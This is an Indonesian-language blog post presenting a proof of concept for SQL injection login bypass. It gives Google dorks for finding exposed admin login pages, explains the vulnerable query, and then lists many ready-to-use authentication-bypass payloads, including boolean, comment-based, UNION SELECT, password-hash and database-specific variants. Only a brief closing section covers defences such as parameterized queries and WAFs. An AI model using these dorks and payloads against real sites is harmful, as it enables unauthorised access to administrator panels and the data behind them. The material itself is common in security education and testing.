PoC SQL Injection Bypass Admin Login - MainSec

Jumat, 14 Februari 2025

PoC SQL Injection Bypass Admin Login


SQL Injection Bypass Admin Login: adalah teknik yang mengeksploitasi celah keamanan dalam aplikasi berbasis database dengan menyisipkan perintah SQL berbahaya ke dalam input pengguna. Salah satu target umum dari SQLi adalah halaman login administrator, di mana seorang penyerang dapat melewati proses otentikasi tanpa kredensial yang sah.

Dork SQL Injection Admin Login

inurl:/admin/index.php
inurl:/admin/login.php
inurl:/admin/login
inurl:/admin/dashboard.php
inurl:/admin/login.aspx
inurl:/admin/login.asp
inurl:/admin/login.php site:*
inurl:/admin/login.php intext:"Admin Login" site:*
intitle:"Index of /admin"
intitle:"Index of /admin" intext:login.php site:*

SQL Injection to Bypass Authentication

Form login yang rentan terhadap SQLi biasanya memiliki query SQL seperti berikut ini:

SELECT * FROM users WHERE username = '$username' AND password = '$password';

Jika input tidak difilter dengan baik, seorang penyerang dapat memasukkan payload SQL berbahaya untuk mengubah struktur query di atas. Misalnya, dengan input berikut ini:

Username: ' OR '1'='1' --
Password: (kosong)

Maka query yang dieksekusi akan menjadi seperti ini:

SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = '';

Bagian -- akan mengomentari sisa query, sehingga validasi password tidak dijalankan. Karena 1=1 selalu benar, penyerang akan berhasil login tanpa mengetahui kredensial sebenarnya.

Payload SQL Injection untuk Bypass Login

Berikut adalah beberapa payload SQLi yang sering digunakan untuk bypass login admin:

Boolean-Based Authentication Bypass
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or ('1'='1--
') or ('1'='1#
Payload dengan Comment (`--`, `#`, `/*`)
' OR '1'='1' --  
' OR '1'='1' #  
' OR '1'='1' /*  
Union-Based Authentication Bypass
' UNION SELECT 1, 'admin', 'anypassword', 1--
Bypass Login dengan menggunakan Password Hash
Username: admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'--
Password: 1234
Payload dengan UNION SELECT
' UNION SELECT 1, 'admin', 'password', 1 --  
' UNION SELECT 1, database(), user(), version() --  
Payload Bypass filter karakter
' or ''='  
") or ("1"="1  
' or 'x'='x  
MySQL
' OR 1=1 --  
' OR 1=1 #  
' OR 1=1 /*  
    
MSSQL
' OR 1=1 --  
' OR 1=1 #  
    
PostgreSQL
' OR TRUE --  
Oracle
' OR '1'='1 --  

Cara Mencegah Serangan SQL Injection

  • Parameterized Queries: Memastikan input user diperlakukan sebagai data, bukan bagian dari perintah SQL.

  • Prepared Statements: Membantu mencegah injeksi SQL dengan memisahkan logika query dari data input.

  • Input Validation & Sanitization: Memfilter input user agar hanya menerima format yang diizinkan.

  • Penggunaan Web Application Firewall (WAF): Menggunakan firewall untuk mendeteksi dan memblokir serangan SQL Injection secara otomatis.